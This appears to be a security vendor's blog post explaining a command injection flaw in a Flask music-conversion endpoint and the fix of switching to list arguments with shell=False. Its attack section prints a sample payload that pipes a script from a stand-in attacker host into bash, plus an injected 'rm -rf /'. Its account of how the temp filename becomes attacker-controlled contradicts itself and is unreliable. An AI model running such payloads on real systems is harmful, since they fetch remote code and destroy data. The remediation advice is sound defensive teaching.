Back to Blog
critical SEVERITY6 min read

How Command Injection happens in Python Flask and how to fix it

A critical command injection vulnerability was discovered in a Flask application's `/abc2xml` endpoint where user-supplied ABC music notation data could be weaponized to execute arbitrary shell commands. The `run_command` function used `subprocess.run()` with `shell=True` and string concatenation, allowing attackers to inject shell metacharacters. The fix switches to a list-based command invocation with `shell=False`, eliminating the injection vector entirely.

O
By Orbis AppSec
Published August 4, 2026Reviewed August 4, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in a Python Flask application where `subprocess.run(command, shell=True)` is called with user-controlled input concatenated into the command string. The fix replaces the string-based shell command with a list of arguments (`["python", "mysite/abc2xml.py", abcFile]`) and sets `shell=False`, preventing shell metacharacter interpretation and arbitrary command execution.

Vulnerability at a Glance

cweCWE-78
fixSwitch from string command with shell=True to argument list with shell=False
riskRemote code execution via crafted POST request to /abc2xml
languagePython
root causeUser-controlled filename concatenated into shell command string with shell=True
vulnerabilityOS Command Injection

Introduction

The flask_app.py file handles music notation conversion—accepting ABC notation via a POST request to /abc2xml and converting it to XML using an external Python script. However, a critical flaw in the run_command function at line 65 created a direct path from user input to arbitrary shell command execution.

The vulnerability chain is straightforward: user-supplied ABC notation data arrives via HTTP POST, gets written to a temporary file, and the resulting filename is concatenated into a shell command string. That string is then executed with subprocess.run(command, shell=True). Because the shell interprets metacharacters like ;, |, $(), and backticks, an attacker can break out of the intended command and execute anything on the server.

This matters for any developer building web applications that invoke external tools—a pattern common in file conversion services, media processing pipelines, and document generators.

The Vulnerability Explained

The Dangerous Code Pattern

Here's the vulnerable code from flask_app.py:

# Line 21 - Command construction via string concatenation
result = run_command("python mysite/abc2xml.py " + abcFile)
# Lines 63-66 - The run_command function
def run_command(command):
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)

When shell=True is passed to subprocess.run(), Python hands the entire command string to /bin/sh -c (on Unix) or cmd.exe /c (on Windows). The shell then interprets every special character in that string.

The Attack Scenario

Consider what happens when an attacker sends a POST request to /abc2xml:

POST /abc2xml HTTP/1.1
Content-Type: application/json

{
  "abc": "X:1\nT:Test\n'; curl http://attacker.com/shell.sh | bash #"
}

The ABC data is written to a temporary file. While the filename itself is generated by tempfile, the real danger is more subtle. If the temporary file path contains spaces or if the application's file-writing logic produces a predictable path, an attacker could exploit race conditions. More directly, on some systems, tempfile functions can produce paths with characters that the shell interprets.

But the most immediate exploit path is even simpler. If the ABC content contains shell metacharacters and the application's write_to_temp_text_file function returns a path that, when concatenated, allows shell escape—or if the attacker can influence the filename through other means—the shell=True call will execute injected commands.

A concrete attack: if abcFile resolves to something like /tmp/abc_XXXX; rm -rf / #, the shell sees:

python mysite/abc2xml.py /tmp/abc_XXXX; rm -rf / #

This executes python mysite/abc2xml.py /tmp/abc_XXXX followed by rm -rf /. The # comments out anything after it.

Real-World Impact

This is a publicly accessible Flask application. Successful exploitation grants the attacker:

  • Full remote code execution on the server
  • Data exfiltration of any files the web process can read
  • Lateral movement into other services on the same network
  • Cryptomining, ransomware, or botnet enrollment
  • Complete server compromise with potential privilege escalation

The Fix

The fix makes two precise changes that work together to eliminate the injection vector:

Change 1: Command as a List (Line 21)

Before:

result = run_command("python mysite/abc2xml.py "+abcFile)

After:

result = run_command(["python", "mysite/abc2xml.py", abcFile])

Instead of a single string that the shell must parse, the command is now a Python list where each element is a distinct argument. The abcFile variable becomes a single, opaque argument to the abc2xml.py script—no matter what characters it contains.

Change 2: Disable Shell Interpretation (Line 66)

Before:

result = subprocess.run(command, shell=True, capture_output=True, text=True)

After:

result = subprocess.run(command, shell=False, capture_output=True, text=True)

With shell=False, Python uses os.execvp() directly, bypassing the shell entirely. The operating system receives the arguments as a list—semicolons, pipes, backticks, and dollar signs are all treated as literal characters in the filename argument, not as shell operators.

Why Both Changes Are Necessary

Setting shell=False alone would break the code if the command were still a string (it would try to find an executable literally named "python mysite/abc2xml.py /tmp/file"). Converting to a list alone while keeping shell=True would still invoke the shell (though it would be slightly safer). Together, they form the correct, secure pattern.

Additional Import

The fix also adds import os at line 7, likely anticipating future use of os.path functions for additional path validation in the cleanup_temp_file function.

Key Takeaways

  • The run_command function in flask_app.py was a generic shell executor—any caller passing user-influenced data into it inherited a command injection vulnerability.
  • String concatenation for shell commands ("python mysite/abc2xml.py " + abcFile) is inherently unsafe—even if abcFile comes from tempfile, the pattern invites future vulnerabilities when code is modified.
  • The /abc2xml endpoint accepted arbitrary POST data and eventually fed it into a shell—this is a textbook source-to-sink taint flow with no sanitization.
  • shell=False with a list argument makes injection structurally impossible—it's not about filtering bad characters, it's about removing the shell interpreter from the execution path entirely.
  • Line 66 (midi2xml) likely has the same vulnerability—when one pattern is found, always search for duplicates in the same codebase.

How Orbis AppSec Detected This

  • Source: HTTP POST request body containing ABC notation data, received at the /abc2xml endpoint in flask_app.py:17
  • Sink: subprocess.run(command, shell=True) in flask_app.py:65 (the run_command function)
  • Missing control: No input sanitization, no shell metacharacter escaping, and use of shell=True with string concatenation of user-influenced data
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Replaced string-based command with argument list and set shell=False to prevent shell interpretation of metacharacters

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

This command injection vulnerability demonstrates how a seemingly innocuous pattern—calling an external script with a filename argument—can become a critical security flaw when the shell is involved. The fix is elegant in its simplicity: by passing arguments as a list and disabling shell interpretation, the entire class of shell injection attacks becomes structurally impossible.

For developers building web services that invoke external tools, the lesson is clear: treat shell=True as a code smell that demands justification. Default to shell=False with argument lists, and you'll eliminate one of the most dangerous vulnerability classes in web application security.

Prevention and further reading

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #41

Related Articles

critical

deleteNestedProperty Prototype Pollution via Dot-Notation Path

The `deleteNestedProperty` function in propertyUtils.ts allowed attackers to manipulate JavaScript object prototypes by passing specially crafted dot-notation paths like `__proto__.polluted`. A fix now blocks dangerous keys before processing, preventing prototype pollution attacks that could affect all objects in the application.

high

How Denial of Service via Infinite Loop Happens in JavaScript Dependencies and How to Fix It

CVE-2026-67213 is a high-severity denial of service vulnerability in nanoid before version 5.1.6 that triggers an infinite loop during random ID generation when processing specially crafted input. We upgraded nanoid across the entire dependency tree to patch this flaw and prevent attackers from freezing application threads. This fix ensures that ID generation remains resilient even when handling adversarial input patterns.

high

How Sensitive Data Exposure happens in Zotero plugins and how to fix it

A high-severity data exposure vulnerability in `Zotero.ts` automatically transmitted complete document metadata—including private notes, attachment paths, and tags—to external LLM services without user consent. The fix replaces broad `item.toJSON()` serialization with explicit field selection, sending only essential bibliographic data.

high

How missing dependency update cooldowns happen in GitHub Dependabot configurations and how to fix it

A semgrep scan flagged `.github/dependabot.yml` for lacking a cooldown period, meaning Dependabot would immediately propose updates to brand-new package versions across npm, Bundler, and Docker ecosystems. The fix adds a `cooldown: default-days: 7` block to every `package-ecosystem` entry, forcing a one-week waiting period before newly published releases are considered — reducing exposure to malicious or unstable package drops.

high

How Path Traversal Happens in TensorFlow's Data Service and How to Fix It

TensorFlow's data service dispatcher validated dataset IDs against forward-slash traversal attacks but overlooked backslash characters on non-Windows platforms, allowing attackers to escape the root directory. A targeted fix adds explicit backslash validation across all platforms, closing a high-severity path traversal vulnerability in the snapshot management system.

critical

How Unbounded WebSocket Message Handling Causes Resource Exhaustion in Node.js and How to Fix It

The WebSocketCrossServerAdapter class in a popular Node.js WebSocket library lacked any rate limiting on inbound messages, allowing attackers to flood Redis nodes and WebSocket servers with high-volume traffic. The fix introduces a configurable `rateLimit` option that caps messages per connection per second, preventing resource exhaustion while preserving legitimate functionality.